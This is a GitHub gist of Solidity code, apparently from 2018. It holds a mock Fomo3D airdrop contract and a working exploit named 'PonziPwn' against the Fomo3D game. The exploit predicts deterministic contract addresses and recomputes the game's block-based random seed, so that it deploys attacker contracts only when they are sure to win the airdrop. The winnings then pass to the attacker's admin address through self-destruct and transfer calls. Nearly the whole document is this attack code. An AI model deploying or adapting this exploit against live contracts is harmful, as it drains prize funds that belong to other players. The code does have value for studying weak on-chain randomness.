Created
August 9, 2018 18:44
-
-
Save jin10086/7c7a12ceebe8a73d9493d8be2df87281 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.24+commit.e67f0147.js&optimize=true&gist=
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract Fomo3d{ | |
uint256 public airDropTracker_ = 1000 ; | |
uint256 public airDropPot_ = 10 ether; | |
mapping (address=>uint) public my; | |
event SendEth(uint256 value); | |
function ()payable public{ | |
require(msg.value >= 0.1 ether,"value must gt 0.1ether"); | |
uint _seed; | |
_seed = uint256(keccak256(abi.encodePacked( | |
(block.timestamp) + | |
(block.difficulty) + | |
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) + | |
(block.gaslimit) + | |
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) + | |
(block.number) | |
))); | |
if((_seed - ((_seed / 1000) * 1000)) < airDropTracker_){ | |
my[msg.sender] += 0.2 ether; | |
airDropPot_ -= 0.2 ether; | |
} | |
emit SendEth(msg.value); | |
} | |
constructor() public payable{ | |
} | |
function buyXid (uint256 _affCode,uint256 _team) public payable returns (bool){ | |
my[msg.sender] += 0.2 ether; | |
airDropPot_ -= 0.2 ether; | |
return true; | |
} | |
function withdraw () public { | |
msg.sender.send(0.2 ether); | |
} | |
function balance() view returns (uint256){ | |
return address(this).balance; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.24; | |
interface FoMo3DlongInterface { | |
function buyXid(uint256 _affCode,uint256 _team) external payable returns (bool); | |
function airDropTracker_() external returns (uint256); | |
function airDropPot_() external returns (uint256); | |
function withdraw() external; | |
} | |
interface SUNContractInterface { | |
function withdraw() external; | |
function balance() external returns(uint256); | |
function newContract(uint256,address,uint256,uint256) external returns(bool); | |
function airdrop1() external; | |
} | |
/* | |
* Contract addresses are deterministic. | |
* We find out how many deployments it'll take to get a winning contract address | |
* then deploy blank contracts until we get to the second last number of deployments to generate a successful address. | |
*/ | |
//contract which will win the airdrop | |
contract AirDropWinner { | |
constructor(address _fomo3d,uint256 _affCode,uint256 _team) public{ | |
FoMo3DlongInterface fomo3d = FoMo3DlongInterface(_fomo3d); | |
fomo3d.buyXid.value(0.1 ether)(_affCode,_team); | |
fomo3d.withdraw(); | |
selfdestruct(msg.sender); | |
} | |
} | |
contract sunContract{ | |
address private admin; | |
uint256 public balance; | |
modifier onlyAdmin() { | |
require(msg.sender == admin); | |
_; | |
} | |
constructor() public{ | |
admin = msg.sender; | |
} | |
function newContract (uint256 _nonce,address fomo3dAdd,uint256 _affCode,uint256 _team) onlyAdmin public returns(bool) { | |
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), byte(_nonce)))); | |
address(_newSender).transfer(0.1 ether); | |
new AirDropWinner(fomo3dAdd,_affCode,_team); | |
return true; | |
} | |
function () payable{ | |
} | |
function airdrop1() public onlyAdmin { | |
balance = address(this).balance; | |
address(admin).transfer(balance); | |
} | |
} | |
contract PonziPwn { | |
address private admin; | |
mapping(address => uint) public contracts; | |
mapping(uint256 => address) public nums_contracts; | |
uint256 public nonce = 1; | |
modifier onlyAdmin() { | |
require(msg.sender == admin); | |
_; | |
} | |
constructor() public payable{ | |
admin = msg.sender; | |
new1(10); | |
} | |
function ()payable {} | |
function new1(uint256 len) public onlyAdmin { | |
uint256 end = len+nonce; | |
while (nonce < end){ | |
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), byte(nonce)))); | |
new sunContract(); | |
contracts[_newSender] = 1; | |
nums_contracts[nonce] = _newSender; | |
nonce += 1; | |
} | |
} | |
function run(address fomo3dAdd,uint256 _affCode,uint256 _team) public payable returns(bool){ | |
//The address that a contract deployed by this contract will have | |
FoMo3DlongInterface fomo3d = FoMo3DlongInterface(fomo3dAdd); | |
require(fomo3d.airDropPot_() > 0.4 ether); | |
uint256 _tracker = fomo3d.airDropTracker_(); | |
for (uint256 i = 1;i<nonce;i++) { | |
uint256 _seed; | |
address c = nums_contracts[i]; | |
uint256 c_nonce = contracts[c]; | |
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, c, byte(c_nonce)))); | |
_seed = uint256(keccak256(abi.encodePacked( | |
(block.timestamp) + | |
(block.difficulty) + | |
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) + | |
(block.gaslimit) + | |
((uint256(keccak256(abi.encodePacked(_newSender)))) / (now)) + | |
(block.number) | |
))); | |
if((_seed - ((_seed / 1000) * 1000)) < _tracker) { | |
SUNContractInterface sun = SUNContractInterface(c); | |
//address(c).call.value(0.1 ether)(); | |
address(c).transfer(0.1 ether); | |
sun.newContract(c_nonce,fomo3dAdd,_affCode,_team); | |
sun.airdrop1(); | |
// contracr nonce +1 | |
contracts[c] += 1; | |
return true; | |
} | |
} | |
return false; | |
} | |
//allows withdrawal of funds after selfdestructing of a child contract which return funds to this contract | |
function withdraw() public onlyAdmin() { | |
admin.transfer(address(this).balance); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment